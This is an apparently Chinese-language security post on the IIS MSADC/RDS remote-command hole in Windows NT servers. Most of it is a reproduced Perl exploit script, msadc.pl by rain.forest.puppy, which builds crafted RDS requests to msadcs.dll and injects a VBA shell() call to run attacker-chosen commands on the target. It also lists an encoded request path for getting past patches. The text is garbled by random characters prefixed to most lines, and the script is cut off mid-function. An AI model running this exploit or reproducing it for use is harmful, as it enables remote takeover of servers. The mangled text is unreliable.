IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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IF t+tGN\q 涉及程序:
r` @Dgo} Microsoft NT server
Z^'; xn 9"e!0Q4 0 描述:
`y(3:##p 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Yv)/DsSyL eAj}/2y" 详细:
YL+W4ld 如果你没有时间读详细内容的话,就删除:
AKVmUS;70 c:\Program Files\Common Files\System\Msadc\msadcs.dll
622).N4 有关的安全问题就没有了。
B5hGzplS !ibp/:x 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
%WR $A,=z 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
]z,?{S 关于利用ODBC远程漏洞的描述,请参看:
C*$/J\6xy >8##~ZuF+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm FVHL;J]nf1 wFD.3! 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
E4Sp^, http://www.microsoft.com/security/bulletins/MS99-025faq.asp R?(j#bk Z,z^[Jz 这里不再论述。
!Kis,e QB7<$Bp 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>_o_&;=`v oUqNA|l
T /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ok@5`?08 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
AG?oA328 VC@o]t5 @AwH?7(b #将下面这段保存为txt文件,然后: "perl -x 文件名"
Ez)Go6Q g!8-yri #!perl
A6d+RAx #
e:#\Oh # MSADC/RDS 'usage' (aka exploit) script
u=4Rn
#
GZ1>]HB>r^ # by rain.forest.puppy
TS;MGi0`} #
`7LdF,OdE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
W<2-Q,>Y # beta test and find errors!
\<5xf<{ 8L#sg^1V use Socket; use Getopt::Std;
SF6n06UZu getopts("e:vd:h:XR", \%args);
!`u)&.t7 ,T]okN5uI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
K
\O,AE <rU(zm if (!defined $args{h} && !defined $args{R}) {
.hvIq
.vr print qq~
:KQ<rLd Usage: msadc.pl -h <host> { -d <delay> -X -v }
xN5}y3 -h <host> = host you want to scan (ip or domain)
!nTq"d%(W -d <seconds> = delay between calls, default 1 second
[g<JP~4] -X = dump Index Server path table, if available
V< J~:b1V -v = verbose
MQhL>oQ -e = external dictionary file for step 5
#q%&,;4 =ahD'*R^A Or a -R will resume a command session
rwU[dqBRhc mX
%; ~; exit;}
[z?<'Tj xC|7"N^/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
<h(tW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
s{gdTG6v` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|S/nq_g] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
"BK&C6] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^)X^Pcx if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0%v
p'v GR/
p%Y( if (!defined $args{R}){ $ret = &has_msadc;
&QvWT+]c'0 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9= :!XkT. Pj^6.f+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ur_~yX]Mo . "cmd /c ";
ibEQ5 2 $in=<STDIN>; chomp $in;
75%!R $command="cmd /c " . $in ;
_Nw-|N . sq*sb dE if (defined $args{R}) {&load; exit;}
dqcfs/XhP @zE_fL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J3C"W794} &try_btcustmr;
A07FjT5w8 i: 1V\q% print "\nStep 2: Trying to make our own DSN...";
oveW )~4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
k{uc%6s _Nlx)Y R print "\nStep 3: Trying known DSNs...";
LvB -%@n &known_dsn;
\
3ha wuI+$? print "\nStep 4: Trying known .mdbs...";
hmQD-E{Ab &known_mdb;
p,U.5bX 7|*|xLrVY if (defined $args{e}){
+tl&Jjdm print "\nStep 5: Trying dictionary of DSN names...";
bq]af.o* &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F?3a22Zg# *joM[ML` 6 print "Sorry Charley...maybe next time?\n";
t-e:f0iz exit;
flnoK%wi /&a[D2 ##############################################################################
m%ak ]rv([ nx84l 7< sub sendraw { # ripped and modded from whisker
`G,\=c~{A sleep($delay); # it's a DoS on the server! At least on mine...
7\<#z| my ($pstr)=@_;
c1Xt$[_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.(`#q@73 die("Socket problems\n");
&?v^xAr?B if(connect(S,pack "SnA4x8",2,80,$target)){
M{1't select(S); $|=1;
uee2WGD print $pstr; my @in=<S>;
[{L4~(uU8 select(STDOUT); close(S);
UJ2Tj+ return @in;
X^7bOFWE } else { die("Can't connect...\n"); }}
}hhDJ_I5M 5'Y @c ##############################################################################
ZF>zzi+@ $s5LzJn sub make_header { # make the HTTP request
YOy/'Le^: my $msadc=<<EOT
?=$a6o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
lo5,E(7~h User-Agent: ACTIVEDATA
bODCC5yL Host: $ip
g/)mbL>= Content-Length: $clen
]%!:'# Connection: Keep-Alive
!"Jne'f oqc89DEbJ ADCClientVersion:01.06
<-D>^p9 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*0^!%Y'/4 TmxhP
nJ~ --!ADM!ROX!YOUR!WORLD!
c_"]AhV~Mg Content-Type: application/x-varg
V>>"nf,YO Content-Length: $reqlen
Rt} H.D
# Tu"bbc EOT
Gb4k5jl ; $msadc=~s/\n/\r\n/g;
E3@G^Y return $msadc;}
8M<q-sn4B c|.~f+ ##############################################################################
e$u=>=jV] &Op_!]8`U sub make_req { # make the RDS request
U-&dn%Sq my ($switch, $p1, $p2)=@_;
G>&Ta p> my $req=""; my $t1, $t2, $query, $dsn;
2~h! ouleY d"`/P?nx if ($switch==1){ # this is the btcustmr.mdb query
t6(LO9 Qc $query="Select * from Customers where City=" . make_shell();
CoO.. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
A)/8j2 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Up*1j:_O @ qy
n[C elsif ($switch==2){ # this is general make table query
,@!io $query="create table AZZ (B int, C varchar(10))";
!W4A9Th $dsn="$p1";}
R/Y9t8kk jM]B\cvN elsif ($switch==3){ # this is general exploit table query
TwJiYXHw? $query="select * from AZZ where C=" . make_shell();
'Z5l'Ac $dsn="$p1";}
GrPKJ~{6 (&t741DN| elsif ($switch==4){ # attempt to hork file info from index server
Fjch<gAofS $query="select path from scope()";
n,/eT,48` $dsn="Provider=MSIDXS;";}
Aj#bhv ;n]GHqzY_ elsif ($switch==5){ # bad query
ldk (zAB. $query="select";
q$RJ3{Sf $dsn="$p1";}
?&A)%6` ~ O=m_P}K $t1= make_unicode($query);
14>WpNN $t2= make_unicode($dsn);
Qf|x]x*5 $req = "\x02\x00\x03\x00";
rHYSS0*3 $req.= "\x08\x00" . pack ("S1", length($t1));
%EV\nwn6 $req.= "\x00\x00" . $t1 ;
#@%DY*w]v $req.= "\x08\x00" . pack ("S1", length($t2));
^F\RM4|, $req.= "\x00\x00" . $t2 ;
11Sflj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
>1uo5,wrF return $req;}
ja !K2^ 3kqO5+,C ##############################################################################
"}ibH{$lM X%JQ_Z sub make_shell { # this makes the shell() statement
d?[gd(O return "'|shell(\"$command\")|'";}
]6s7?07m4 LL% Aw)Q` ##############################################################################
8[v9|r (B+CI%=
D sub make_unicode { # quick little function to convert to unicode
J34/rL/s my ($in)=@_; my $out;
D/U=zDpiB for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
={g.Fn(_ return $out;}
_UP=zW 0SS,fs<w3 ##############################################################################
9d kuvk}: O2;iY_P7lV sub rdo_success { # checks for RDO return success (this is kludge)
skaPC#u my (@in) = @_; my $base=content_start(@in);
({&